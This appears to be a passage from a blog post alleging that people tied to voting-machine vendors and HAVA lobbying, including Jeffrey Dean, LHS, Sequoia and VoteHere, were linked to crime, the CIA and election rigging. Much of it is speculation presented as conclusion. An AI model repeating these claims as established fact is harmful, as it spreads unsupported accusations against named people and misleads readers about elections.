One partner at CG&G was <a href="https://en.wikipedia.org/wiki/Egil_Krogh"><b>Egil Krogh</b></a>, head of the White House Plumbers under Nixon. After Krogh was jailed and disbarred for Watergate-related crimes, William Dwyer of CG&G represented Krogh in the fight to reinstate his law license and hired him. The Plumbers consisted of CIA agents like <b>E. Howard Hunt</b>, who led the CIA's anti-Castro assassination efforts and was allegedly linked to the JFK assassination. Krogh himself was fingered for CIA drug trafficking by <a href="https://archive.org/stream/DougValentineDrugWarDocuments/Water%20gate.doc/land_reform_and_colson%5B1%5D_djvu.txt">Charles Colson</a> and <a href="https://books.google.com/books?id=JqtkAgAAQBAJ&pg=PT300&lpg=PT300&dq=egil+krogh+cia+drug+smuggling&source=bl&ots=Jedo4LcXMV&sig=KdrTHt0A1iCdPceRp-iebcRqT6Y&hl=en&sa=X&ved=0ahUKEwiO6pqlwsfPAhWJ8z4KHd2dAk0Q6AEISjAI#v=onepage&q=egil%20krogh%20cia%20drug%20smuggling&f=false">John Dean</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Krogh%2C_Egil_MUG-K-155.jpg/220px-Krogh%2C_Egil_MUG-K-155.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Krogh%2C_Egil_MUG-K-155.jpg/220px-Krogh%2C_Egil_MUG-K-155.jpg" /></a></div>
<div style="text-align: center;">
<b>Egil Krogh, head of the Plumbers under Nixon and alleged CIA operative</b></div>
<br />
While Dean was in prison, his brother Neil Dean started <b>PSI Group</b>. PSI Group got the contract from King County WA to develop the county's absentee ballot processing system. Jeffrey Dean, along with cocaine trafficker John Elder (who he met in prison), worked on King County's absentee voting system <i>while still in prison</i> on a work-release program.<br />
<br />
Dean was released from prison in 1995. A month before he did, CG&G split up. He joined the company that his wife Deborah founded while he was in prison, <b>Spectrum Print & Mail</b>. Spectrum initially did newspaper deliveries, but soon after Dean's release, it got into ballot printing. Leaving prison with only $87 in his inmate account, Dean and his wife obtained over $1 million to fly to Belgium, buy two expensive high-end printers, and bankroll a ballot printing operation at Spectrum.<br />
<br />
Spectrum almost immediately got the lucrative contract to print ballots for King County. Strangely, none of the former CG&G partners nudged their friends in King County government to tell them they were employing a crook who had stolen half a million dollars from their law firm. After John Elder's release in 1996, Dean hired him to Spectrum.<br />
<br />
The involvement of Dean in King County's elections also brought him in contact with Global Election Systems. Global began providing voting systems to King County in the late 90s. Spectrum began developing absentee ballot processing software called VoteRemote that interfaced with GEMS. Dean, who worked inside the King County elections office, got a key and 24/7 access to the county GEMS tabulator.<br />
<br />
His ballot printing plant at Spectrum attracted Global's interest. In 2000, Global acquired Spectrum for $4 million, making Dean the largest stockholder in Global and earning him a spot on the board of directors. According to Global emails, Dean supervised several projects, including the GEMS tabulator software and the AccuVote TSx. He worked closely with Peter Martin, who programmed the high-speed optical scanner.<br />
<br />
Dean held his position at Global until 2002, when it was bought by Diebold to become <b>Diebold Election Systems</b>. After Diebold's acquisition, Dean briefly stayed on as a consultant.<br />
<br />
Diebold claimed that Dean had no further involvement with the company after that. But there were some indications of that not being true. When asked in a 2003 court case to disclose all past, current, and future payments from Diebold, Dean and his wife purposefully omitted "current" and "future" answers. They, did, however, reveal strange payments going back several years from a Canadian shell company called Spectrum Digital. Some Diebold insiders told Bev Harris that Dean was still involved with the company.<br />
<br />
Ultimately, we see the following: an embezzler who stole money from a politically-connected Seattle law firm (that employed a Watergate figure/possible CIA drug trafficker) was protected and steered along to a high-level position in US elections, obtaining contracts worth millions of dollars. This embezzler supervised the production of absentee processing, opscan, touchscreen, and central tabulator software still used today across the US. And he might still have a secret involvement with the voting machine vendor.<br />
<br /></div>
<h3>
Fraud-enabling GEMS features</h3>
<div>
What did Jeffrey Dean specifically do at Global? Aside from being a director, he was Vice President of Research and Development. Under his supervision, two features facilitating election fraud were added to the GEMS tabulator.<br />
<br />
The first was a <a href="http://www.ejfi.org/Voting/Voting-37.htm"><b>double set of books</b></a>. GEMS has two types of election reports: the countywide totals (Election Summary) and precinct-by-precinct counts (Statement of Votes Cast). Both reports, though, should ultimately pull from the same vote data. Originally, that's what GEMS did. Then Dean joined Global in September 2000, and the October 2000 release of GEMS had each report pull from a <i>different</i> data table. This would allow an election rigger to manipulate the countywide totals, while leaving the precinct totals (used for canvasses and hand-count audits) alone.<br />
<br />
No legitimate reason exists for this feature to be in GEMS. Furthermore, the books are kept synchronized unless someone enters a hidden code in a specific part of the GEMS database. The books also resynchronize any time that the double books are at risk of being discovered. This is clearly meant as an intentional election stealing feature. How convenient for it to show up in GEMS only a month after Jeffrey Dean got the job of supervising the features going into Global's products.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.ninehundred.net/~equalccw/BDMAATDF.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.ninehundred.net/~equalccw/BDMAATDF.gif" height="240" width="320" /></a></div>
<div style="text-align: center;">
<b>The part of the GEMS database where the secret code can be entered ("Dirty" column)</b></div>
<br />
The second suspicious feature was <a href="http://blackboxvoting.org/fraction-magic-part-6/"><b>fractional vote counts</b></a>. Most people are familiar with the idea of 1-person, 1-vote, so it doesn't make sense to store votes as anything other than a whole number. But under Jeffrey Dean's supervision in 2001, GEMS added "weighted races", which allow votes to be stored as decimal values. Fractional vote counts allow for election results to be precisely reweighted to whatever percentages somebody wants. Black Box Voting developed a prototype utility to show how easily it could be done.<br />
<br />
Fractional vote counts were supposedly meant for a homeowners association election in Sacramento. But there's no evidence that this election used fractional vote counts; <a href="http://blackboxvoting.org/fraction-magic-2/">Bev Harris found</a> that California law called for whole numbers, not decimals, to be used in weighted races. Even if it did, that doesn't justify using fractional vote counts in every single GEMS election across the country. Nor does it explain why Global/Diebold initially documented weighted races in their manual, then removed it while keeping the fractional counts in.<br />
<br />
Oddly enough, one day after <a href="http://instinct.org/diebold/rcr.w3archive/200106/msg00017.html">Global emailed employees</a> about adding weighted races, <a href="http://www.prnewswire.com/news-releases/diebold-to-acquire-leading-voting-technology-company-global-election-systems-72272877.html">Diebold announced</a> its intent to acquire Global. This intervention by Diebold rescued Global from insolvency and helped ensure Dean had enough money to pay for his CG&G restitution.<br />
<br />
What's also interesting is that both fraud features added under Dean's supervision - double books and fractional counts - are reminiscent of accounting fraud. <a href="https://en.wikipedia.org/wiki/Two_sets_of_books">"Two sets of books"</a> is a widely-known accounting fraud technique, and fractional vote counts is essentially counting votes as money. It seems like the embezzler, who stole from CG&G with a computerized accounting system, intended to allow vote embezzlement on GEMS.<br />
<br /></div>
<h2>
LHS Associates: secretive New England contractor</h2>
<div>
Even after big players like ES&S and Global/Diebold emerged, local election contractors remained. They largely became equipment distributors for these large vendors. Several of these local election contractors also have questionable ties to corruption and organized crime.<br />
<br />
In New England, <a href="http://lhsassociates.com/"><b>LHS Associates</b></a> is the election contractor responsible for setting up voting machines throughout most of the region. Maintaining custody of the machines and sole authority to program them, their activities are shrouded in secrecy, immune to public records law. Very little about their history or personnel is know, but what <i>is</i> known doesn't paint them in a particularly good light.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://lhsassociates.com/rw_common/images/lhs4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://lhsassociates.com/rw_common/images/lhs4.jpg" height="126" width="320" /></a></div>
<br />
<a href="http://web.archive.org/web/20080118210801/http://talknationradio.com/?p=126">LHS was founded</a> in 1972 in Andover MA. They provided various computer services to Massachusetts towns, such as voter rolls, tax billing, jury lists, and census processing. Providing voter rolls led LHS into the election services industry, which became their primary business from then on. In 1985, they began selling optical scanners from Business Records Corporation. Then they became a distributor of Sequoia's punch card systems for about 6 years.<br />
<br />
Finally, in 1991, LHS signed on as the New England distributor for Global Election Systems. They started selling the AccuVote OS in 1992, which came to be adopted by nearly all the towns in New Hampshire, Massachusetts, Vermont, Connecticut, and Maine. LHS's role was programming the election info onto the memory cards, doing support and repair services on election day, and providing ballots to towns. In essence, they controlled nearly all of the elections across New England.<br />
<br />
<b>John Silvestro</b>, the president and CEO of LHS for most of its time in the elections industry, <a href="http://web.archive.org/web/20080820030029/http://www.democracyfornewhampshire.com/node/view/2420">was allegedly</a> a long-time associate of Jeffrey Dean. This allegation is unverified, but he did appear in two internal Global emails that were also sent to Dean in <a href="http://instinct.org/diebold/announce.w3archive/200011/msg00004.html">Nov 2000</a> and <a href="http://instinct.org/diebold/announce.w3archive/200012/msg00004.html">Dec 2000</a>.<br />
<br />
<b>Ken Hajjar</b>, a childhood friend of Silvestro's who became LHS's director of sales and marketing, is a very suspicious character. <a href="http://web.archive.org/web/20130523171645/http://www.bbvforums.org/cgi-bin/forums/board-auth.cgi?file=/1954/71236.html">He was convicted</a> of cocaine trafficking in 1987, but (possibly thanks to his political connections) received a deferred sentence and reduced fine. In an apparent conflict of interest, Hajjar (along with Silvestro) was involved in Londonderry NH local politics while working at LHS.<br />
<br />
As discussions (<a href="http://www.townunderground.com/forum/index.php?topic=1184.0">1</a>, <a href="http://www.townunderground.com/forum/index.php?topic=1190.0">2</a>) on the Londonderry town politics forum show, most of the town considered Hajjar to be an authoritarian bully at best and corrupt at worst. In 2007, he disparaged the idea that a local cabal of "good ole boys" was controlling local politics and vehemently opposed the formation of a Londonderry ethics committee, arguing it ran the risk of becoming an ideological "witch hunt".<br />
<br />
One political issue Hajjar got involved in was the 1999 decision to site an <b><a href="https://en.wikipedia.org/wiki/AES_Corporation">AES</a></b> power plant in Londonderry. Hajjar was so devoted to having the power plant built that he <a href="http://web.archive.org/web/20130521134933im_/http://www.bbvforums.org/forums/messages/1954/71277.jpg">called into a NH radio show</a>, yelled at two women activists opposing the plant, and threatened to "stuff the ballots". When these women told Silvestro, he dismissed their concerns before getting angry and walking away. On election day, Hajjar visited the polls repeatedly, announcing his intention to vote multiple times.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://web.archive.org/web/20130521134933im_/http://www.bbvforums.org/forums/messages/1954/71277.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://web.archive.org/web/20130521134933im_/http://www.bbvforums.org/forums/messages/1954/71277.jpg" height="247" width="320" /></a></div>
<br />
Hajjar also had a very bad opinion of election integrity activists. <a href="http://www.bradblog.com/?p=5320">He told Dori Smith</a> of a local radio program that questions about election integrity illustrated "how dangerous the Internet has become" and that many voting machine security reports were "superfluous". He also defended LHS's illegal activity of swapping out memory cards in the middle of elections, saying "I don't pay attention to every little law". In 2007, he attacked Brad Friedman as "full of shit", his readers as "looney idealogues [sic]", and New Hampshire election integrity activist Nancy Tobi as "clueless".<br />
<br />
A man who threatened to rig an election over an AES power plant, dismisses election integrity concerns, happily breaks election law, and personally attacks election integrity activists? Sounds like the perfect person to work at a voting machine distributor. Even better if he also has a record of trafficking cocaine during the period that the CIA was importing it to fund the Contras.<br />
<br />
Meanwhile, John Silvestro got angry when Hajjar's integrity was questioned, rather than being angry at Hajjar for threatening to rig an election. There's a pervasive integrity problem at LHS.<br />
<br /></div>
<h2>
Sequoia: mob ties and the Carlyle Group</h2>
<div>
Sequoia is probably the oldest voting machine vendor in the country. <a href="https://books.google.com/books?id=P9N1CwAAQBAJ&pg=PP78&lpg=PP78&dq=shoup+avm&source=bl&ots=QRqnczq078&sig=a2OCdgyJihUYLHeC6TK7nYzYe9I&hl=en&sa=X&ved=0ahUKEwjA8O2m7obTAhVHJMAKHXXWC60Q6AEILDAE#v=onepage&q=shoup%20avm&f=false">It grew out of</a> the <b>Automated Voting Machine Corporation (AVM)</b>, a New York lever machine producer founded in 1898. AVM had a sordid history of bribery and possible Mafia connections throughout the 20th century. In 1973, chief executive Lloyd Dixon Jr. was indicted for bribing New York election officials and forced to resign. AVM's reputation was destroyed, especially with emerging bribery scandals in other states, and the company broke apart.<br />
<br />
AVM was reconstituted as <b>Sequoia Pacific</b> in 1985. <a href="http://blackboxvoting.org/bbv_chapter-8.pdf">Sometime before 1999</a>, Sequoia was acquired by the <b>Jefferson Smurfit Group</b> in Ireland. That year, Sequoia was involved in a Louisiana bribery scandal. <b>Phil Foster</b>, southern regional sales manager, delivered tens of thousands of dollars in kickbacks to Louisiana elections chief <b>Jerry Fowler</b>. Sequoia stood behind Foster, and his charges were thrown out, but Fowler was convicted, along with southeast representative <b>Pasquale Ricci</b> of New Jersey.<br />
<br />
<a href="http://www.madcowprod.com/2004/11/24/6837/">Daniel Hopsicker connected</a> the bribery scandal to a larger mob-connected scheme beginning in 1996. Allegedly, Phil Foster got into gambling trouble at an Atlantic City casino in the mid-1990s. That same casino wanted to open a branch in New Orleans. So Foster got involved with taking kickbacks from the mob-connected Sequoia, presumably to allow their employees to fix elections in the state. Several candidates in the 1996 election, in which gambling was a major issue on the ballot, reported voting irregularities. <b>Tony Giambelluca</b>, who held the keys to the voting machine warehouse, turned up dead of suicide.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.madcowprod.com/wp-content/uploads/2016/06/susan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.madcowprod.com/wp-content/uploads/2016/06/susan.jpg" height="241" width="320" /></a></div>
<div style="text-align: center;">
<b>Susan Bernecker, a 1996 candidate who noticed Sequoia's machines registering her opponent's name on the screen when she tapped hers</b></div>
<br />
In 2002, Sequoia was purchased by British corporation <b>De La Rue</b>. <a href="http://www.thelandesreport.com/votingmachinecompanies.htm#SEQUOIA%20VOTING%20SYSTEMS%20INC.">After the acquisition</a>, the Jefferson Smurfit Group held 15% and De La Rue held 85%. Both of these corporations were owned by/financially tied to private equity firm <b>Madison Dearborn</b>, a partner of the <b>Carlyle Group</b>. The Carlyle Group has owned various defense contractors (such as Northrop Grumman), been chaired by Reagan-era Defense Secretary <b>Frank Carlucci</b>, employed George H.W. Bush, and had the Bin Laden family as investors.<br />
<br />
De La Rue <a href="http://blackboxvoting.org/bbv_chapter-8.pdf">was politically-connected in other ways</a> as well. It was the world's biggest commercial money printer, creating the Nicaraguan bank notes for George H.W. Bush and Iraqi bank notes for George W. Bush. One of De La Rue's largest investors was the Lowy family in Australia, which was vehemently pro-Israel and a big backer of the Democratic Party.<br />
<br />
After losing money for several years, De La Rue sold Sequoia to <b>Smartmatic</b> in 2005. However, the CFIUS became concerned with Smartmatic's ties to pro-Chavez Venezuelan interests, and ordered them to sell Sequoia in 2007. The US managers of Sequoia held onto the company until 2010, when <b>Dominion</b> bought it.<br />
<br />
However, it turns out that <a href="http://www.truth-out.org/archive/item/90265-on-heels-of-dieboldpremier-purchase-canadian-firm-also-acquires-sequoia-lies-about-chavezties-in-announcement">Smartmatic didn't fully divest itself</a> of Sequoia. They continued to hold onto all of the intellectual property for Sequoia's voting systems. As a result, it's possible that Smartmatic still exerts some covert influence over Sequoia to this day. During 2016, there were concerns that <b>George Soros</b> was going to rig the election due to his control over Smartmatic. The link from Soros to Sequoia is tenuous (the CEO of the company holding Sequoia IP is a member of <a href="https://www.opensocietyfoundations.org/">Soros's foundation</a>) but interesting.<br />
<br /></div>
<h2>
Hart Intercivic, another Texas firm</h2>
<div>
Hart Intercivic is another voting machine vendor <a href="http://blackboxvoting.org/bbv_chapter-8.pdf">with major ties to Texas powerbrokers</a>. Initially a mom-and-pop company owned by David Hart, he began to seek funding from venture capital and privatization firms when business slowed in the late 90s.<br />
<br />
The company obtained $3.5 million of funding from Triton Ventures in 1999. It was a subsidiary of the Dallas-based <b>Triton Energy</b>, which made most of its profits exploiting Colombian oil fields. From 2000 to 2002, Hart Intercivic raised $40 million more from various venture capital sources.<br />
<br />
One of Hart's investors was RES Partners, which represented Richard Salwen, a big donor to George W. Bush and the Republican Party. Salwen was the former vice president, general counsel, and corporate secretary of Dell. He had also worked with Ross Perot's <b>Electronic Data Systems (EDS)</b>, a Texas-based technology contractor swimming in government (potentially CIA) contracts.<br />
<br />
Another Hart investor was the investment firm of Tom Hicks, who bought the Texas Rangers in 1999 and made <b>George W. Bush</b> a multi-millionaire.<br />
<br />
In California and Ohio, Hart Intercivic entered into a joint venture with Maximus, a social services privatizer for state governments.<br />
<br />
During 2011, Hart Intercivic was largely acquired by <b>H.I.G. Capital</b>. This investment firm <a href="http://freepress.org/departments/display/19/2012/4725">had numerous ties to <b>Mitt Romney</b></a>. Eleven of its directors/partners came from Bain and Company, the firm Romney had been a partner at before starting Bain Capital. Two of those men were Romney bundlers. H.I.G was the 11th largest donor to the Romney campaign, with its employees donating $338,000 total to Romney. An investment firm founded by Romney's son, and invested in by Romney himself, <a href="https://en.wikipedia.org/wiki/Hart_InterCivic#Board_of_Directors_and_Ownership">was a minor investor</a> in another one of H.I.G.'s funds.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://sharing.kshb.com/sharewptv//photo/2012/10/18/Tagg_Romney_20121018075004_640_480_20121018130851_320_240.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://sharing.kshb.com/sharewptv//photo/2012/10/18/Tagg_Romney_20121018075004_640_480_20121018130851_320_240.JPG" /></a></div>
<div style="text-align: center;">
<b>Tagg Romney, Mitt's son and an H.I.G. Capital investor</b></div>
<br />
H.I.G. was also criticized for political ties to Democrats after its <b>Clinton Foundation</b> donations were discovered.<br />
<br /></div>
<h2>
HAVA: who ordered this?</h2>
<div>
It should be very clear at this point that the <b>Help America Vote Act (HAVA)</b> of 2002 didn't start the problems with electronic voting. But it did put electronic voting on steroids, forcing it to spread throughout the US.</div>
<div>
<br /></div>
<div>
HAVA was motivated by the disastrous 2000 election, in which ballot confusion, hanging chads, and voting issues dominated the news. As it turns out, many of the corrupt interests behind electronic voting machines were responsible some of the issues in the 2000 election. It's quite likely that the 2000 election debacle was intentionally engineered to create an environment conducive to HAVA.</div>
<div>
<br /></div>
<div>
<a href="http://www.bradblog.com/?page_id=10834">According to multiple Sequoia employees</a>, Sequoia commissioned punch card ballots specifically for Palm Beach County FL that were of poor quality, with the likely purpose of producing hanging chads and ruining the perception of punch cards. Global's optical scanners in Volusia and Brevard counties <a href="http://dissidentvoice.org/Articles9/Thompson_Diebold-2000-Fraud.htm">fraudulently accepted <i>negative</i> votes</a> for Al Gore, causing the VNS to erroneously call Florida for Bush. <b>Theresa LePore</b>, who designed the infamous butterfly ballot, was a flight attendant for Iran-Contra weapons dealer <b>Adnan Khashoggi</b>. And there were the <a href="http://www.salon.com/2000/12/04/voter_file/">thousands of suppressed Democratic votes</a>.</div>
<div>
<br /></div>
<div>
All of these Florida election problems - hanging chads, butterfly ballots, disenfranchisement, negative votes - served to chip away at Gore's total and fraudulently give Bush the election. But they also created an environment of chaos on confusion on election night that provided the momentum for HAVA.</div>
<div>
<br /></div>
<div>
Who took advantage of that momentum? A couple key groups stand out.</div>
<div>
<br /></div>
<h3>
Jack Abramoff</h3>
<div>
HAVA's main sponsor in the House was Ohio congressman <a href="https://en.wikipedia.org/wiki/Bob_Ney"><b>Bob Ney</b></a>, chairman of the House Administration Committee. Ney worked on HAVA with Democratic congressmen Steny Hoyer and Chris Dodd. In 2006, Ney pleaded guilty in a major corruption scandal involving GOP lobbyist <b>Jack Abramoff</b>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://media4.s-nbcnews.com/j/msnbc/Components/Photos/060914/060914_ney_vmed8p.grid-4x2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://media4.s-nbcnews.com/j/msnbc/Components/Photos/060914/060914_ney_vmed8p.grid-4x2.jpg" height="320" width="216" /></a></div>
<div style="text-align: center;">
<b>Bob Ney</b></div>
<br />
Jack Abramoff <a href="http://www.seekgod.ca/cnp.a.htm#abramhoff">was a member of the Council for National Policy</a> from 1984-85 and in 1988, the same years that Howard Ahmanson Jr. (younger cousin of the ES&S funders) served. That makes him the third person to be connected to both the CNP and election rigging, after the Hunts and Ahmanson.<br />
<br />
Abramoff was a powerful lobbyist with significant influence in Republican circles, including over majority leader Tom DeLay and White House strategist <b>Karl Rove</b> (through his assistant Susan Ralston, who became Rove's assistant). During his lobbying career, he became ensnared in a <a href="https://en.wikipedia.org/wiki/Jack_Abramoff#Scandal_and_criminal_investigations">multitude of corruption scandals</a> involving casinos, corrupt lobbying in US territories, and defrauding Native American tribal clients. And, of course, <a href="http://www.larouchepub.com/other/2006/3310abramoff_families.html">his family did business with the mob</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.opensecrets.org/wp-content/uploads/news/abramoff.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://www.opensecrets.org/wp-content/uploads/news/abramoff.jpg" width="226" /></a></div>
<div style="text-align: center;">
<b>Jack Abramoff</b></div>
<br />
Abramoff and his associates lobbied Ney on behalf of multiple clients, including SunCruz Casinos and the Tigua Indians. The lobbying included campaign contributions from these clients to Ney, as well as <a href="https://en.wikipedia.org/wiki/List_of_trips_funded_by_Jack_Abramoff">several trips funded by Abramoff</a>. Bob Ney went on one such trip in 2002 and three in 2003.<br />
<br />
One of Abramoff's requests to Ney involved putting a provision into the Help America Vote Act that would allow the Tigua Indians to reopen a casino on tribal land. Ney promised to put that provision into HAVA but never did. When the Tiguas failed to get the provision passed, they accused Abramoff, Ney, and others of defrauding them. The fallout of the scandal put both of them in jail.<br />
<br />
Officially, Abramoff's only involvement in HAVA was pushing the failed Tigua amendment. But some have theorized that Abramoff had a deeper involvement in pushing Ney to support the bill.<br />
<br />
<b>Greenberg Traurig</b>, the firm where Abramoff worked from 2001 until 2004, <a href="http://www.nytimes.com/2003/10/20/nyregion/vote-machine-replacement-lags-despite-age.html">was hired by Diebold Election Systems in 2003</a> to lobby for the implementation of HAVA in New York. The firm was paid a total of $275,000 in lobbying expenses by Diebold. However, whether Abramoff was involved with that is unknown. The NYTimes article doesn't mention him, and Abramoff was forced to leave Greenberg Traurig in March 2004.<br />
<br />
<a href="https://books.google.com/books?id=JIlVDQAAQBAJ&pg=PT139&lpg=PT139&dq=%22jack+abramoff%22+%22help+america+vote+act%22&source=bl&ots=DrEzpFVbDl&sig=sUxBXoEl_tQEhBGddZiolCfx8p8&hl=en&sa=X&ved=0ahUKEwj3h4zd5OHTAhUFNSYKHc4hCZk4ChDoAQgsMAI#v=onepage&q=%22jack%20abramoff%22%20%22help%20america%20vote%20act%22&f=false">Bob Ney later claimed</a> that another lobbyist, <b>Dave Distefano</b>, was the main person influencing him in pushing HAVA. He specifically mentioned Distefano's representation of Diebold, an Ohio company that had recently acquired Global and entered the elections business. Interestingly, though, Ney drew connections between Abramoff's people and Distefano, and said that Distefano was a small-time lobbyist being used by powerful interests. So Abramoff might have had influence over Distefano's activities as well.<br />
<br />
Abramoff's persistent presence near HAVA, yet without any direct connection linking him to it, is quite interesting. While it may turn out to be a red herring, Abramoff's constant reoccurrence seems a bit too coincidental.<br />
<br /></div>
<h3>
Defense contractors</h3>
<div>
Bev Harris's former publisher <a href="http://www.blackboxvoting.org/bbv_chapter-16.pdf">attended and recorded</a> a voting machine industry meeting in 2003. The meeting included <b>R. Doug Lewis</b> of the <a href="http://www.sourcewatch.org/index.php/Election_Center"><b>Election Center</b></a>, major vendors (such as ES&S, Diebold, Sequoia, and Hart), and the Election Systems division of technology lobbyist <b>ITAA</b>. R. Doug Lewis set up the meeting, in which the ITAA was attempting to get the voting machine vendors to fund a pro-e-voting PR campaign by ITAA.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://upload.wikimedia.org/wikipedia/en/a/ae/Itaa-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://upload.wikimedia.org/wikipedia/en/a/ae/Itaa-logo.jpg" /></a></div>
<br />
One participant asked whether the <b>"Election Systems Task Force"</b> would be reconstituted. R. Doug Lewis told them that the Task Force had been "more focused on the HAVA legislation but would be interested in meeting with this group". He mentioned that the Task Force was led by <b>Northrop Grumman</b>, <b>Lockheed Martin</b>, <b>Accenture</b>, and <b>Electronic Data Systems (EDS)</b>, who wanted HAVA passed to create business opportunities for themselves.<br />
<br />
What "business opportunities" were these defense contractors looking for in the voting machine industry? <a href="https://washingtontechnology.com/articles/2001/02/06/accenture-electioncom-to-provide-election-solutions.aspx">Accenture did partner</a> with Saudi-owned <b>election.com</b> in 2001 and lobby for a Pentagon Internet voting contract. EDS was developing a military e-voting system as well. <a href="http://news.northropgrumman.com/news/releases/northrop-grumman-enters-new-market-with-innovative-election-systems-and-services">Northrop Grumman partnered</a> with voting machine vendor <b>Diversified Dynamics</b> in 2002 exactly one day after HAVA was signed into law. All of these business ventures ultimately went nowhere. Lockheed Martin had no discernible link to the elections industry at all.<br />
<br />
The Election Systems Task Force was itself a division of the ITAA. All four of its defense contractor leaders were ITAA members. Keep in mind: the voting machine vendors <i>weren't</i> the ones who selected the ITAA. It was the Election Center and ITAA who approached the vendors. And even before they made that move in 2003, defense contractors in the ITAA were lobbying for HAVA. The picture that starts to emerge is that defense contractors and the Election Center were the real force pushing for e-voting, not the vendors.<br />
<br />
Perhaps these defense contractors weren't trying to get into an elections industry that was already dominated by a few key players (ES&S, Diebold, Sequoia, and Hart). <b>Maybe their unprofitable business ventures were just a front</b> for what the companies actually wanted: ushering in electronic voting systems controllable by deep state interests that would elect candidates in favor of war. Those were the real "business opportunities" being sought.<br />
<br />
This next mysterious company provides even more support for that theory.<br />
<br /></div>
<h3>
VoteHere: a CIA front?</h3>
<div>
Who do you think was the biggest election industry lobbyist for HAVA? ES&S? Diebold? Sequoia? The actual answer is none of the above. By far, the largest contributor was a mysterious little company called <b>VoteHere</b>.<br />
<br />
<a href="http://blackboxvoting.org/bbv_chapter-8.pdf">Founded in 1998</a> by technology entrepreneur Jim Adler, VoteHere was attempting to break into the e-voting market. By 2000, Adler had secured $15 million in venture capital funding from Compaq, Cisco, and Northwest Venture Associates. The company's first product was an Internet voting system, which they released publicly to be met with harsh criticism by security researchers. By 2003, VoteHere had made barely any sales and made its source code private once again.<br />
<br />
During VoteHere's early years, a mysterious group of insiders from the defense industry and elections joined the company in high-level positions. Among them were:<br />
<ul>
<li><b>Ralph Munro</b>, Secretary of State in Washington for 20 years. He <a href="http://web.archive.org/web/20010304204640/http://votehere.net/VH-Content-v2.0/news/013001.html">joined VoteHere's board in January 2001</a>, right after the end of his SoS term.</li>
<li><b>Admiral Bill Owens</b>, senior military assistant to Secretaries of Defense Frank Carlucci and Dick Cheney, and Vice Chairman of the Joint Chiefs of Staff under Bill Clinton. He <a href="https://www.thefreelibrary.com/Admiral+Bill+Owens+Named+Chairman+of+VoteHere%27s+Board+of+Directors.-a080524254">was named chairman of VoteHere's board</a> in December 2001.</li>
<li><b>Robert Gates</b>, Iran-Contra veteran and former CIA director under George H.W. Bush. He took a seat on the advisory board likely around the same time.</li>
</ul>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://upload.wikimedia.org/wikipedia/commons/thumb/1/10/Robert_Gates%2C_official_DoD_photo_portrait%2C_2006.jpg/220px-Robert_Gates%2C_official_DoD_photo_portrait%2C_2006.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/10/Robert_Gates%2C_official_DoD_photo_portrait%2C_2006.jpg/220px-Robert_Gates%2C_official_DoD_photo_portrait%2C_2006.jpg" /></a><a href="https://upload.wikimedia.org/wikipedia/commons/thumb/5/59/Admiral_William_Owens%2C_military_portrait%2C_1994.JPEG/250px-Admiral_William_Owens%2C_military_portrait%2C_1994.JPEG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/59/Admiral_William_Owens%2C_military_portrait%2C_1994.JPEG/250px-Admiral_William_Owens%2C_military_portrait%2C_1994.JPEG" /></a></div>
<div style="text-align: center;">
<b>Left - Admiral Bill Owens Right - Robert Gates</b></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Under the guidance of these insiders, VoteHere poured a total of $580,000 into HAVA lobbying. This was far more than ES&S spent, and there's no sign that Diebold or Sequoia lobbied for HAVA at all. Yet VoteHere was a tiny company with no apparent revenue stream and nearly nonexistent role in the elections industry. Was VoteHere, under the leadership of people like Owens and Gates, <b>doing the dirty lobbying work on behalf of the vendors</b>?</div>
<div>
<br /></div>
<div>
At the same time, VoteHere began developing a new product: a purported cryptographic solution for vote verification that didn't require a paper trail. The goal was to convince the major election vendors to incorporate this product into their voting systems. How well did that plan work?</div>
<div>
<br /></div>
<div>
<a href="https://www.thefreelibrary.com/Sequoia+Voting+Systems+and+VoteHere+to+Provide+Additional+Electronic...-a0106273734">Sequoia partnered with VoteHere</a> for that purpose in August 2003, although there's no evidence that Sequoia ever did adopt VoteHere's software. <a href="https://web.archive.org/web/20080222135049/http://www.bbvforums.org/forums/messages/1954/45174.html">Bev Harris found</a> documents about VoteHere's product in Diebold's dumpster, indicating that Diebold considered a similar partnership but didn't pursue it. Maryland State Administrator of Elections <b>Linda Lamone</b> also showed up in letters related to VoteHere.</div>
<div>
<br /></div>
<div>
In October 2003, VoteHere <a href="http://archive.seattleweekly.com/2004-05-19/news/www-bigbrother-gov/">claimed they had been hacked</a>. The alleged hack was used to harass Bev Harris, question her about the leaked Diebold memos (rather than VoteHere), and strong-arm her into turning over a log of visitors to her election integrity activism website. She ultimately suspected that the hack was manufactured as an entrapment scheme for her. Both Owens and Gates left VoteHere soon after the alleged hack. Did they finally have no further use for VoteHere? Did Adler force them out?</div>
<div>
<br /></div>
<div>
